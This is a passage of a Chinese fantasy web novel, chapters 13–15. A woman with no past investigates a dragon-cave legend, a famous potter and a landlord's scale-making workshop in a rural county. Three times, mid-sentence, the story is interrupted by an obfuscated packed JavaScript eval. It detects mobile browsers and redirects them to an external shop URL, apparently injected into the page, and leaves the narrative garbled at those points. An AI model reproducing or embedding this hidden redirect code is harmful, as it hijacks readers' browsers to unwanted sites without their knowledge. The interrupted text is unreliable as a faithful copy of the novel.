她是凭空出现在这个世界上的,身边还有一只怪异小兽香香。人们说香香是传说中的瑞兽狻猊,而她,没有过往的记忆,没有认识她的人。100多年来,她四处奔波,经历无数,好不容易找到了千丝万缕中的一个小线头,又因突然入境闭关,一切戛然而止。此次赴龙洞村,也许能有进展。 - 列车走走停停,一路思绪万千。待到秦北县站台时,天色已黑。山中暮色沉沉,下车乘客寥寥。这是一个几近荒废的车站,因县城坐火车的人不多,只有两三个值班员,连票也无需检。从车站出来,路灯已经亮了起来,几辆带着顶棚的三轮车在路边等客,一见到聂明月,司机纷纷打招呼揽客。 “美女,去哪里?”排头司机问。 “县城里吧。”她没有提前订住宿,打算随便找一家住下,准备第二天坐班车到龙洞村。 “老城5元儿,新城7元儿。”当地人说着方言,尾音上扬,听起来仿似都加了个“儿”字。 “老城。”聂明月不再多言,提着包就坐了上去。司机乐了:“正好回家吃饭。” 载客三轮车居然烧着柴油,一路“噔噔噔”叫嚣着,浓重的柴油味扑面袭来。聂明月抱着包,迎着夜风看向远处。公路沿途有一条宽河,行至一大桥桥头,桥对面就是秦北县城了。 “美女,你到南门还是北门?”司机大声问。 “师傅,哪边有可以住宿的店?”聂明月也必须放大声音。 “住店啊,”司机声音更大些:“我家就开店的,干净卫生,80块钱一晚。” “好。我先去看看。” “好哦。你放心,南门离新城近,你去哪里都方便。”司机扭动把手,车速加快,过桥后径直沿一段老城墙向南而去,几分钟后,直接右转拐进一条小巷,停在一栋旧民房门口。门口立着一个灯牌,灯上有两个红色大字:“住宿”。 - 司机姓常,是当地居民。近年秦北县发展旅游,很多周边城市的人到秦川山中部猿王峰登山观景,老城内有商业头脑的,就把自家房子改建成了客栈旅店。现在已是四月,猿王峰的赏花热度刚过,下一次热闹起来应该是暑假了。不忙的时候,老常媳妇看店,老常就干老本行,开着三轮车拉活儿。 当老常和聂明月走进店内,老常媳妇春姐眼睛一亮:“今天怪咧,三个客人,要住满了。” 聂明月赶上最后一间房,春姐拿她身份证登记:“你是海泽人啊,那么远啊,来旅游?” “出差。”聂明月说。 “哦,住几天?”春姐是个微胖的妇人,烫着短卷发,满脸笑意。 “明天就走。” “押金200,住宿费80。”春姐看她长得好看,特意加了一句:“这条街上就有吃饭的,你不用走远了。” 聂明月点头应允。柜台上面有一个立牌,上面夹着旅游景区介绍和联系方式,她扫了一眼,问:“这里离客运站有多远?” “不远,出了巷子往北走,过了古城门,5分钟就到了。你明天要去哪里呀?”春姐拿着一个烧水壶。 “我去大河乡龙洞村。” “那可不好办了。”春姐皱眉:“龙洞村在开发,修路建景区,过路班车都绕道了,没有直达的。你得先去大河乡,到了乡上再找车,或者走路。” 说话间,两人已经进了院内,院子不大,三间砖房围成,中间有个圆形花坛,种着一棵桂花树,旁边还摆了一套竹桌椅。左边和中间两间房正亮着灯。春姐打开右边房间的门,屋内是一个双人床标间,洗手间一看就是后来增建的。 交代了几句,春姐就出去了。聂明月刚放下包,手机响了,是唐槐。 “太奶奶,手机终于通了!你到了吗?”唐槐从她上火车就开始打电话,一直是无法接通中。 “到了。” “我查到,大河乡的班车最早一班是早上7点。45分钟一趟。但是因为修路,班车时间要看站内通知,网上也不能买票。”唐槐担心她独自出门,主动接下了票务预订的活儿:“要不咱们包个车吧?这一路可太折腾啦。” “无妨。我到时看情况。”她笑,在她眼里,唐槐自己还是个小孩,却开始担心她了。 “那好吧,太奶奶你好好休息,你别忘了把酒店定位发给我啊,注意安全。” 挂上电话,唐槐暗夸自己懂事,聂明月出差在外,他就不说孟夏今天强行提着行李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081027|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,非得住进一号公馆的恶行了。他坐在书房内,开始查秦川一带关于龙和龙洞村的传说记载。 - 聂明月却又出来了。她刚才在前台看到旅游宣传单,在一个两日游的项目里,有“陈家大院”四个字,需要再了解一下。 “陈家大院啊,就是以前地主老财的房子,是秦北县保存最完整的民俗大院。解放前,陈家山这个陈财主特别有钱,家里有丫鬟仆人还有长工,整个山头都是他家的地。后来被批斗了,这院子就被收了。据说里面的建筑风格和家具啥的,都保持原样,现在成了文物保护单位。当地就开了个旅游项目,参观民国大院,吃农家饭,还有民俗文化展览。”春姐显然已经跟旅客介绍过很多次,非常熟悉:“你要去的话,我可以给你联系地陪,两日游,吃住行都安排好。” “县文化馆在哪里?”聂明月问。 “现在不叫文化馆了,叫文化和旅游局,在新城政务中心那边。但是原来的文化馆还在,就在老城里,改建成剧场和图书馆了。” “春姐,你知道原来文化馆的罗永立馆长吗?”聂明月见她对城里的事很熟悉,问了一下。 “哟。那可是我们县的名人,大艺术家,全秦北没人不知道。现在他的事迹都在县志上呢。”春姐为了证明自己的实力,继续讲:“我和他孙子是小学同学,后来他家搬到省里去了,听说到国外读大学去了。” “他以前住的地方还在吗?还有亲戚朋友能联系上他家吗?”聂明月问。 春姐见她问得太过详细,犹豫了一下。聂明月拿出自己的证件:“我是民俗文化研究员,来秦北做传统手艺人调研的,罗永立的制陶作品享誉国内外,是秦北县的代表人物,所以我需要了解探访一下。” “原来是这样啊。聂小姐看着年轻,还是个做学问的!”春姐仔细看了证件,放下心来:“罗老师有一些作品,就在文化馆的图书馆,我们地方小,没有博物馆啥的,这是罗老师儿子捐给县里的。罗老师儿子的爱人,就是我同学他妈,是我娘家表亲。我小时候还去她家玩过呢,她妹妹那时生孩子,她从省城回来探亲……” 聂明月见她越讲越远,也没有打断,继续听她梳理亲友关系。 “……后来她妹妹一家,也经常去省城罗家,前几年还出国去玩过,听说罗家在英国还是法国,有一个好大的房子和花园……” 几分钟后,“……我表姨身体好着呢,70多岁,现在还在跳广场舞……” 聂明月终于听到了重点:“所以罗老师儿媳妇的妹妹,你的表姨,现在在县里?” “对,她儿子在秦川大学教书,儿媳妇一家市里人,也不让她带孙子,她就再也不去市里了……”春姐也觉得自己的话有点多,停下来:“她家就住在文化馆后面的机关楼,每天早上在青龙广场跳舞。明天聂小姐要是起得早,我买菜的时候就带你过去聊聊。” “青龙广场?” “是的,我们秦北就是因为这个青龙才建的县,以前我们叫青龙县,建国后才改的名字。听说在宋朝的时候,出现过一条青龙……你不是要去龙洞村吗,就是那条龙。” 聂明月手机响了,打开是唐槐发来的信息。 “太奶奶,秦北原名青龙县,关于青龙的传说有很多,有人写了一篇文章,就在《人间行走指南》2002年3月刊,我拍照发给您,您看看。”接着连续发来三张图。第一章标题下面,赫然写着: 作者:白瑾瑜。 13. 龙洞传说 北宋仁宗明道二年,秦川旱灾频发,半年无一滴雨水落下,河道干涸,大地皲裂,百姓皆苦。秦川郡太守无奈之下,张榜重金悬赏治灾之法,数位异士、道长、游侠揭榜,祈天招雨,但均失败。 12月中,一个货郎路过,称北三百里猿王峰山脚下有妖邪出没,才导致天降异象。太守并不相信,但货郎信誓旦旦说亲眼看见有红光如席,覆天而不散。太守召集一众道僧侠姑,骑马一日方至。 猿王峰下有一碧潭,深水幽幽,上空悬一红云,似天幕笼罩。众人中有个姑子,是当地闻名的仙子,掐算之下,说潭下有妖邪吸纳地泉之精,导致秦川失水。若不除去,必起天下大乱。 众修士一商量,决定联手除妖,在碧潭周围布起法阵。 阵眼刚落,红云中现出一条青色幼蛟,口出人言,竟如女童音,听闻众人是要捉妖治旱,幼蛟大笑,称它自潭中修炼,即将化龙,愚人中了奸滑货郎之计。遂起黑云,往秦川方向而去,所经之处,天降甘霖。 幼蛟行至半道,遇货郎设下陷阱,唤出一头像狮子般的魔物,和幼蛟在空中缠斗。当地百姓均目睹此景。 魔物也不是实体,以半虚之态,和幼蛟打了个势均力敌。突然魔物兽尾袭向村民,幼蛟为了救了村民的命,分神被货郎拿出一条长索捆住了身体。 幼蛟被困中只得临时破境化形,全身暴涨,挣脱了长索,成为一条青色螭龙。魔物在货郎操控之下,口吞龙尾,青龙不慎负伤。它想要先将货郎制服,没想到货郎躲在百姓之间,竟以人为甲保命。 青龙不愿伤人,气力即将耗尽,为了避免伤到更多的人,它在临死之前,蓄力飞行百里,最终撞向最大的山体,瞬间山摇地动,一座大山竟硬生生被它撞穿,半条龙尾陷在洞外。 货郎追击赶到,剔出龙骨,拔去龙筋龙须,将青龙剥了干净后,化为一四角羊眼马身的妖兽,大笑而去。 青龙死后,龙尸腐烂,肉身化作泥土,龙鳞化作石头,眼睛化作龙潭,空留下一道龙洞,和施雨救人的传说。 秦川郡太守上报朝廷,宋仁宗感念小青龙仁义,将它舍命保护的村落设为县,以青龙为名,并减三年赋税。周边灾民和百姓纷纷而至,青龙县很快发展起来。 现在的秦北县,青龙的故事已无人知晓,只有龙洞村的龙洞,还留着千年前大战的痕迹。 - 这个故事里,白瑾瑜不仅附上了龙洞的照片,还附注了参考文献资料出处。她用大量的笔墨赞美蛟龙虽小,却对人间有情有爱,舍龙神之道而护苍生,文末还加了一句判词: 赤云玄甲出蛟螭,破日弄雨化虹霓。 聂明月放下手机,陷入沉思。 白瑾瑜是唐青山特聘到公司的,她来了以后,才有了《人间行走指南》。这些年间,她一直在杂志专栏上撰写和妖怪传说有关的故事,甚至集结上市,成了畅销书。 她的故事中,经常有上古妖兽出现,明明在外人看来是虚构的故事,她偏偏总会拿出探访的证据来,似乎在尝试证实它们的存在,寻找它们的踪迹。 在孟夏眼中,白瑾瑜是个才华横溢、想象力丰富的人类,于身份并没有特殊的地方。然而聂明月却觉得,唐青山找来的人,必有其深意。比如她觉得自己和龙洞有某种联系,而白瑾瑜早在20多年前,就来过龙洞村了。 一夜过去,第二天天刚亮,她走出房门时,春姐已经做好了早饭。泼了油辣子的米皮软糯,配上温和白粥,自家做的泡菜极为爽口。聂明月本可以不用饮食,但是还是吃得干干净净。 吃过早饭,便在春姐的带领下,来到老城中心的青龙广场,找到了表姨。 表姨是个精气神十足的老太太,她听春姐说明来意,说道:“姐夫的父母三十多年前就去世了。我有姐姐的电话,回头找来给你。” 聂明月问:“大概在六十年前,您是否知道罗老师家中有一个保姆,叫梨花的?” 表姨仔细回忆了一下:“那时我姐姐才十来岁,没有跟姐夫结婚呢。不过有一年,我去省城她家,带了特产核桃饼,姐夫吃饼的时候说了一句,有小时候家里保姆做的味道。我还好奇那个年代就有保姆了。姐夫说是一个年纪不大的姐姐,被婆家打怕了,跑出来的,叫什么我就不知道了。” 聂明月留下了联系方式,表姨答应她,回家就翻电话本。老太太聊了几句,就兴冲冲回到舞群中去了。 春姐给聂明月指明了去文化馆的方向,自去买菜,还提醒她,12点以前退房,若是今天要走,得早点去客运站确定发车时间。 - 到达老文化馆,刚刚8点半。时值周末,已经有家长带着孩子来图书馆看书。聂明月向管理员出示证件,说明来意,管理员说县志厅周末不开放,平时需要预约。他特意给领导打了个电话后,便带她到了三楼,打开县志厅大门,让她自己参观。 入口处有一道名人墙,从宋元时期的科举文人、朝廷官员,到近现代的科研学者、社会名流,只要原籍是秦北的杰出人物,都在上面一一列出。到了文化艺术一栏,罗永立的照片在上,下面一行字:县文化馆第一任馆长,著名陶瓷大师,多个作品被国内外艺术馆收藏等。 沿着名人墙往内走,是秦北文化发展史和部分出土文物展示。她并没有直接去罗永立捐赠的作品,慢慢一点点看下去,寻找能产生关联的信息。 等她站在罗永立作品柜前时,已是二十分钟后了。一尊仿唐三彩马俑栩栩如生,色彩艳丽。从聂明月眼中看过去,马俑周身流转淡淡的灵气,旁边的仿明瓷花瓶与之比起来,除了工艺精湛外,没有异状。 “聂明月小姐?”此时,一位老者匆匆赶过来,与她打招呼。 “是的,您是?” “我是县文化局的,叫王智,已经退休好几年了。我听说您是《人间行走指南》杂志社特聘的专家,过来打个招呼。”王智笑着说明来意:“白编辑还好吧?当年她来采风,是我全程接待的,一晃20多年过去了。” “原来是白主编的朋友呀,您好,她现在已经是主编啦。谢谢您特意过来。” “客气了,白老师当时对秦北民俗文化做了很深入的研究,她的《秦川山河志》也为我们扩大了知名度,很有参考价值。所以一听您来了,我就赶过来了。” 王智见聂明月对罗永立作品感兴趣,又说:“罗馆长是我们的老领导,他去世的时候,我才刚刚入职。” “您认识罗馆长?”聂明月问。 “并不相识,他退休后去了省城。不过这么多年以来,采访罗馆长生平的媒体很多,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090955|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责整理他的各种资料,做过多次接待了。您也感兴趣吗?” “我不懂陶瓷,就刚才走到这里,见马俑和花瓶虽都是罗馆长的作品,但总觉得有很大的不同。” “您是个有眼光的人,一眼就看出来了,这个我刚好知道。当年罗馆长的作品虽然优秀,却还未到全国知名的程度。有一次,他接到上级任务,要为即将来秦川交流的外宾制作一份代表秦川文化特色的礼物,他想做一尊本地出土的西周七星陶灯,却找不到满意的陶土,于是寻遍秦北境内,终于在大河乡龙洞山一处天然溶洞内,找到适合的红土……” “是龙洞村的龙洞吧?”聂明月心下了然。 “聂小姐果然是专家。据罗馆长留下的笔记记载,洞内泥土富含矿物质,加上从无太阳照射,微生物结构简单,经年沉淀呈天然红色,无论是黏度、成分和细腻程度,都达到了理想状态。于是才有了西周七星灯仿制品的完美呈现。但为了保护溶洞的天然资源,老馆长并不轻易取土,只有重要作品才会使用。”王智感叹:“可惜老馆长并没有亲传徒弟,秦北再也没出过一位制陶大师。” “王老师,您对陈家山的制秤工匠有了解吗?”聂明月试探道。 “制秤?”王智有点意外:“我是专门负责县里传统匠人文化推广的。陈家山建国前确实有制秤匠,但那是江中制秤家族的一个分支。江中制秤技艺现在已经是国家级的文化遗产了,陈家山倒没有这个手艺流传下来。聂小姐从哪里得到的信息?” “我遇到一个陈家的后人,跟我提过。所以也想借此机会去陈家山看看。” “欢迎欢迎,陈家山的陈家大院是我们县里的重点文化旅游项目,聂小姐如果要去的话,我来给您安排。”王智拿出手机,拨通了电话,几句话之后,他问:“聂小姐,今天周末,陈家大院晚上正好有民俗演出,您今天去吗?” 聂明月想了一下,欣然应允。 - 回到常春旅店已是上午11点。今天常哥没有出车,在院内修一把藤椅。他见聂明月回来了,问她:“聂小姐,你还去龙洞村吗?一个客人也要去,你们可以拼车。” 左边房门打开,一个带着黑框眼镜、一头乱发的男人,正好背着大双肩包走出来。 他听到常哥的话,连忙冲聂明月说:“小姐姐,你也去龙洞村啊。我刚从客运站回来,现在班车每天只有两趟了,9点以前都发车走了……”他走近才看清聂明月的脸:“呀,小姐姐看着面熟啊,我们是不是在哪见过?” 常哥忍不住一声嗤笑。男人恼道:“我真不是搭讪,真的面熟。小姐姐,你从哪来的?我从海泽来。” 聂明月本来准备进屋取包退房的,被这么追问,也无奈了:“或许是飞机上见过吧。” 男人挠了挠头:“应该是。所以小姐姐,拼车吗?我问过司机了,一辆车包一天来回,300块钱,我们一人150啊?” “我今天不去龙洞村了,我去陈家山。”聂明月说。 春姐做完饭出来听到这话,接话道:“哎呀你早回来一会儿就好了,另外一个客人今天去陈家山,已经包车走了。” “没事儿,春姐,退房吧。” 不到一会儿,常春旅店的客人都退房完毕,小院里热闹退去,恢复宁静。 14. 荒村女鬼 “小姐姐,你等下我!咱们商量一下嘛!”客运站门口,男人快步赶上来,追上聂明月。 “你看你去陈家山,也是先到大河乡的,要不你出100,我给你捎到乡上?陈家山近,下车再找一辆车,10分钟就到了。”男人拿着手机:“你放心,我不是坏人,我是个视频博主,好几千粉丝呢。” 他迅速打开软件,找到自己的账号,递到聂明月眼前。 聂明月一看,“探境人赶趟哥?” 赶趟哥说:“对,是我。小姐姐,你看你这么个大美女,坐客运中巴车,三个小时呢!人又多又吵,跟我拼个车,既省钱又舒服,对吧?” 聂明月笑了:“算盘打得挺响。你全天来回300,我单程100?” 赶趟哥被识破,连忙给聂明月作揖道歉:“唉唉,我这不寻思能省点是点嘛。50,行吧?就比你坐大巴贵5块钱。” “车在哪?走吧。” - 站在一辆掉漆的面包车前,聂明月挑眉:“就这?” 赶趟哥帮聂明月推开车门,呼啦一声响,松动的车窗玻璃自己划开了:“山里公路坑多,这车最合适,底盘高,没问题。”他把车窗拉好,“刚没扣稳,嘿嘿。” 聂明月不愿与他多话,坐到三排座的最后一排:“走吧。” 唐槐正好发来信息,说表姨给的电话号码是英国的,现在是英国时间凌晨4点,等天亮了,他就跟罗家人联系。 看眼手机的工夫,赶趟哥也跟着挤了进来,把双肩包放到前排。司机见人到了,启动出发。 “小姐姐,你加我个关注呗。”他期待地看着聂明月。 “你这1000多粉丝都这么来的呀?”聂明月瞥了他一眼。 “1999个!马上2000!”赶趟哥强调,又无奈说:“本来已经破2000了,前两天发了个视频,有人在评论区带节奏,骂我造假,掉粉了。” “什么视频?”聂明月有点好奇。 “喏,就这个。”他点开置顶内容,“废弃豪宅惊现神秘女子……” “这可是我真实拍摄的,那晚给我吓惨了,那女鬼白森森一张脸,直接怼我面前……”他拖动进度条,拉到定格一幕,“你看!” 看着手机里面的脸,又抬头看看聂明月,他好像发现了什么,露出不可置信的表情,又把手机举到聂明月面前,一张和女鬼一模一样的脸,正似笑非笑地看着他。 “你你你你你……”他大惊,吓得手机都掉了,“鬼鬼鬼……你……” “你半夜偷拍我家,我还没找你呢。”聂明月道。 赶趟哥内心狂呼:【救命,我撞见正主了。还是我上赶着撞见的。】 车内陷入尴尬的沉默,聂明月不再理他。车已经开出城区,到了乡道上。公路不宽,仅供两辆车错行。一旁是群山连绵,一旁是河水蜿蜒,村落散落其间,白墙灰瓦,家家门口都有翠竹掩映,是秦川特有的乡村画面,非常好看。 经过激烈的思想挣扎,赶趟哥终于再次开口说话:“……对不起啊,我现在就把视频删了吧!我给你道歉。” 聂明月见他诚恳,不介意地说:“没事,你这视频我当天就看见了,你确实拍的是真实画面,就是标题有点夸张。” “没办法,现在吸引流量太难了。不起个夸张标题,没人点进来。”他从入行起就模仿那些爆火的视频,标题基本都是类似的措辞。 “你那天去月亮湾干什么?”聂明月对这个倒更好奇。 “我去拍荧光海啊!我是个探境人,专拍不常见的景致,大家都爱看没见过的东西嘛。” 聂明月:“探境人?”这个词好像她不止一次听过了。 赶趟哥:“没错,探境协会是一个非常牛的组织,已经存在了上百年,里面全是身怀绝技的冒险家。有的能徒手攀山,有的能深潜海底,世界上的每个角落,都留下他们的脚印!自然奇观啊,古老遗迹啊,神秘墓葬啊……总之上山下海无所不能……” 聂明月睁大眼:“你这么厉害啊?” 赶趟哥不好意思了:“不是我,我还没有资格。他们是探境协会会员,我从小就是他们的粉丝,做梦都想着有朝一日能加入协会,所以叫自己探境人。” 聂明月:“你去龙洞村干什么?” 说到这个,赶趟哥就来劲了:“就是拍到你的视频爆火了,我就想着要不要换个赛道,找一些有灵异故事的地方,或者废弃建筑之类的,搞个伪科学专题,先去拍下恐怖的画面,再解谜,这样既不是封建迷信,又能引起网友好奇……” 从那天起,他就在网上搜索各处关于鬼故事的爆料。最近龙洞村搞旅游项目开发,有个人发帖说,在村里遇到了鬼,而且不止他一个人遇到。帖子并不火,却被赶趟哥捞到了。 “即便拍不到鬼,我也能到龙洞去拍个探险视频,这一趟我也不亏。”说到这里,他又解释一遍:“我最近流量不好,视频收入低,所以想着省点车费,才……” “什么样的鬼?”聂明月问。她回来不久,以前四处奔波找妖寻鬼,没想到几十年后,互联网发展,人人都可爆料,她正想着以后要不要也从网上找些线索,打算学习一下。 - 龙洞和龙洞村,不知道谁先谁后,总之龙洞山上有一个小村庄,村民不到百户,基本是赵姓家族和后来的零散外姓人,整个村都沾亲带故。村民唯一的生计,就是种地。又因为下山极为不便,只有一条陡峭的泥巴小路,赶集卖菜收入微薄,是当地有名的贫困村。 县里做扶贫工作时,号召山上的村民到乡镇来生活,并给学龄孩子解决教育问题,因此搬走了一半人。近年来,村里的年轻人要么在外读书,要么出门打工,基本都不回来了。挣了钱的,就把老人接到城里去住。龙洞村几近荒废,仅剩两三户还有行动能力的老人不肯离开故土。 去年,县里因猿王峰和陈家山的旅游项目开发成功,为当地带来非常好的经济效益,便着手对龙洞景区的开发。龙洞是个天然溶洞,里面有石钟乳与神奇地貌,加上千年传说,是个非常有潜力的景点。但周围的旅游配套却几乎为零,交通、住宿、餐饮……这一系列都待解决。于是今年开春,项目公司的施工队就上了山,先修路,再对已授权的老房子进行改造,届时原房主可以选择自己经营或代管。 村里沿山巅处,有一大片青杠林,青杠林旁有一个土屋土墙的老院子,墙倒房塌,已经几十年无人居住了。院子中间一棵上百年的梨树,树干粗壮,枝丫繁茂,犹如一把撑开来的巨伞,将小院笼罩在内。有个民宿设计师看到这棵树,称是天选打卡点。如果围绕梨树做景区话题,一定会吸引流量。 惊蛰那天,三个工人吃完饭下班回宿舍,途经老梨树。在夜色中,一树梨花盛放,洁白如雪,极为醒目。有个工人随手拍了张照片,惊讶地发现树下站着一大一小两个人。他们打着强光手电照过去,一个满头是血的女人,拉着一个两三岁的小孩。小孩五官扭曲,额头隆起一个巨大的包,极为瘆人。几个人吓得连忙跑开。第二天去村里打听,老人说整个村都没有小孩子,大家笑说三人是喝多了眼花,此事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099946|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作罢了。 拍照的工人不死心,仔细看照片,梨花树在夜里发着白光,树下隐约有两道浅色身影。他想着此事怪异,就把经历和照片发到了网上。 赶趟哥把帖子照片点开,放大给聂明月看:“画质被压缩了,你看,是不是确实有人影?” 聂明月瞟了一下,人影是真,那满树梨花,却是假的。 - 这个话题之后,赶趟哥又讲了些备选怪事,打算等龙洞村视频发了后看看效果,要是可行,就继续拍。闲聊之间,盘山路变为下山路,河水在山脚低处转了个弯,汇成一个圆形水库,河堤之上就是大河乡了。 面包车停在三岔路口,向左是水泥桥头,通向乡里街道;中间是上坡土路,一眼看不到头;右边则是一条铺了沥青的平整公路。 “小姐姐,你怎么称呼啊?”临下车前,赶趟哥问:“我叫张萌。” “聂明月。” “我们加个微信吧,你今天要是回秦北,就提前给我打电话,我们在大河乡会合,一起回去啊。”赶趟哥道。 “我今天不回去。”话虽这么说,聂明月还是打开了加好友界面,并提醒了他一句:“月亮出来以前,你得离开那个院子。” “放心吧!赶趟哥永远赶趟。祝你旅途愉快啊。”他给聂明月让出下车通道来,“别忘了给我视频点赞!” 小面包车摇摇晃晃,上了中间土路的坡,继续向远山开去。 聂明月拨了个电话,对方是陈家大院的经理,听说她到了,让她在桥口原地等待10分钟,马上就来接。 她站在河边,观河中有数块巨型石头散立,大概是因为地形原因,河水极为湍急,日夜不息地冲刷河道,哗哗声奔涌向前。她抬头看环绕小镇的群山,山头崖壁森森,山腹林木重重,山脚地势减缓,被开垦成田地,一层叠着一层。时值四月,绿意盈盈的田间地头有粉白桃花间歇点缀,一群飞鸟从她头顶掠过,叽叽喳喳极为不安,又匆匆向山林而去,传递着加密信息。 陈经理亲自开着一辆越野车来接,他下车就打招呼:“聂老师,抱歉让您久等了。” 聂明月点头:“不用客气,叫我名字就行。” “那不行,王局是我老领导,特意打招呼,让我以最高标准接待您!”陈经理态度殷勤,接过聂明月的包放到后座,他有点惊讶,专家的包看似很满,结果提在手里却很轻。 “陈家山很近,过了山垭就是。”车掉头朝来时路走,山势平缓延伸,聂明月此次坐在副驾驶的位置,正好能看见前方垭口指示牌。 “您来得特别巧,今天陈家大院有民俗文化演出和篝火晚会,一周一次,”陈经理边开车边说,“我先把您带到住的地方稍微休息下,四点半有人带您参观大院,六点吃过农家饭后,时间就差不多到了。” 说话间,车驶过一个印着“百年大院,农家休闲”的户外广告牌,一座四围两层木楼出现在眼前。周边建着新式农庄,农家乐、温泉、KTV、采摘园俱全。 陈经理把聂明月安排到一个新开业的酒店入住。酒店二楼套房极为安静,聂明月简单梳洗了下,正要整理行李,突然阳台外传来两下敲门声。她拉开遮光帘,推开玻璃门,阳台地上放着一张面盆大小的树叶,上面摆着一捧不知名的新鲜野果子。 她四下察看,二楼阳台后面仅有一片山林,并无别的通道上楼,极目远眺,有个敏捷的身影迅速进了林子,林间有树干晃动不休。 聂明月捻起一枚野果放入嘴里,酸甜口感让她眯了眯眼,满口生津,甚是喜欢。 15. 故人旧事 下午四点半,一个二十来岁的圆脸女孩准时出现在门口。 “聂老师,我是讲解员小陈,来接您去参观。”女孩谈吐大方:“今天还有投资方的领导和咱们一起去,他比您早到半小时,您不介意吧?” 聂明月表示没有关系,跟着小陈走到隔壁房门前。小陈敲门又把刚才的话重复了一遍,照样把聂明月的身份也透露了一下,“媒体的老师”。 对方随即走出房门,迎头看到站在门口的聂明月,两人均一愣神。 “聂……老师?”他似笑非笑。 “关……老板?”聂明月眉毛一挑。 竟是多年未见的老熟人,关临渊。他和几十年前模样不大一样,穿着合身的休闲服,头发精剪过,一对冷眉改了角度,衬得五官稍微柔和了点,少了三分凌厉,多了一分清朗。 小陈见他俩竟然认识,识趣地走在了最前面,拉开了一点距离。 “关大人不是说此生不入北地?”聂明月记仇,对当年他说的话记忆犹新。 “此处南北分界,聂女侠腿要是再长点,就能踏进我的地盘了。”关临渊依然嘴上不吃亏。 电光石火间,一片刀光剑影。 聂明月提醒他:“老规矩,阳间的归我,阴间的归你。” 关临渊直接大步一迈,越过她时,低头在她旁边小声说:“还那样,光长年龄不记教训。” 聂明月:……算了,谁先生气谁就输了。 - 斗嘴归斗嘴,两人迅速在路上交换了关键信息。 “冥池半个月前跑了个魔魂,冲陈家后人来的。”关临渊小声说。 “业秤现世,上有龙灵。”两人互看了一眼,均已了然,得了,又是同一件事。 小陈站在大院门口等候。院门显然是后来新加的,和门框门槛略有色差,不仔细看的话,倒也无妨。进院之后,左右两侧各有一排双层木楼,墙裙及窗框上,都雕满了花纹。 “这花纹意味着子孙满堂,家族兴旺。”小陈逐一介绍。“两位也看到了,陈家大院的建筑风格,明显和秦川一带的旧时院落不一样,因为大院主人陈三金原籍江中,是江中陈氏中的一支。清末民初,陈三金因战乱逃亡到此,屯田种地,积累了财富,成为当地最有钱的大财主……” “我左手边的二层小楼,是陈家女眷的房间。楼上房间最后的主人,应该是陈三金的曾孙女,后来嫁到了外地。两位要是感兴趣的话,一会儿可以上楼去看看。我们尽量复原了当时的家具和摆放位置……” 聂明月忍不住问:“曾孙女应该都是建国后出生的了吧,当年的摆设谁还会记得,还能做复原?” 小陈应该是被游客经常问到这个问题,她笑着说:“聂老师,您发现没有,我们这里的工作人员都是当地村民,大部分都姓陈。我们其实都是和陈三金有亲属关系的后人。解放前陈氏就分了家,我的祖辈也一直生活在陈家山。” “后来,国家将房子交还给陈家后人,我爷爷,也就是陈三金的亲侄孙,继承了这个大院。我父亲小时候就是在这个院子里长大的。所以,院内的家具摆设,虽然在破四旧时期已经被清除,但都是根据我爷爷的儿时回忆复原的。乡里又搜集找回了部分陈家遗落在外的物品,在堂屋设置了一个小型展览间,稍后我们就会看到。” “两位看右边,这边的两层楼,楼上是客房,在六七十年代,客房还接待过知青入住。”小陈打开右边一楼的房门,里面光线昏暗,一张木质工作台摆在正中:“这里是陈三金当年的制秤工坊。大家可能会问,陈三金那么有钱了,还做什么工?这里面还有一段往事。” “据祖辈回忆,陈三金此人,并不是压榨剥削长工的贪财地主。在江中时,他就以刚直公正的性格在族中闻名。清末战乱,陈三金带部分族人逃难,只因曾接了一个制秤的订单未完成,对此事念念不忘。在陈家山安定下来后,他就特意建了这个工坊,就为了做完那杆秤。当时有人劝他,世道这么乱,人家不会因为一杆秤,千里迢迢来寻他。但是陈三金说,做人和做秤一样,要讲信用,守承诺。” 关临渊听得频频点头,聂明月看了他一眼,他假装没看到。 “后来,陈三金每天花在做秤的时间上越来越长,身体也越来越差。等他终于把秤做好时,眼睛几近失明。再后来,陈三金被作为坏分子游街批斗,很快就去世了,那杆秤,最终也没能等到他的主人……”每次故事讲到这里,听者无不动容,小陈已经做好两人深受感动的准备了,结果却没有期待中的效果。 聂明月悄悄用手指在工作台上一抹,随即手背在身后。关临渊听得有点分神,问:“所以,一直没有人找过来吗?” 小陈摇头:“除了当年村里的知青们回来怀旧,并没有别人特意来过。” “住在陈家的知青,叫什么名字?”聂明月问。小陈愣住了,完全答不上来。 “陈三金那个嫁出去的曾孙女,嫁到了哪里?也没回来过吗?”关临渊问。 小陈摇摇头:【救命啊,这两位贵客的关注点怎么和别的游客不一样……】 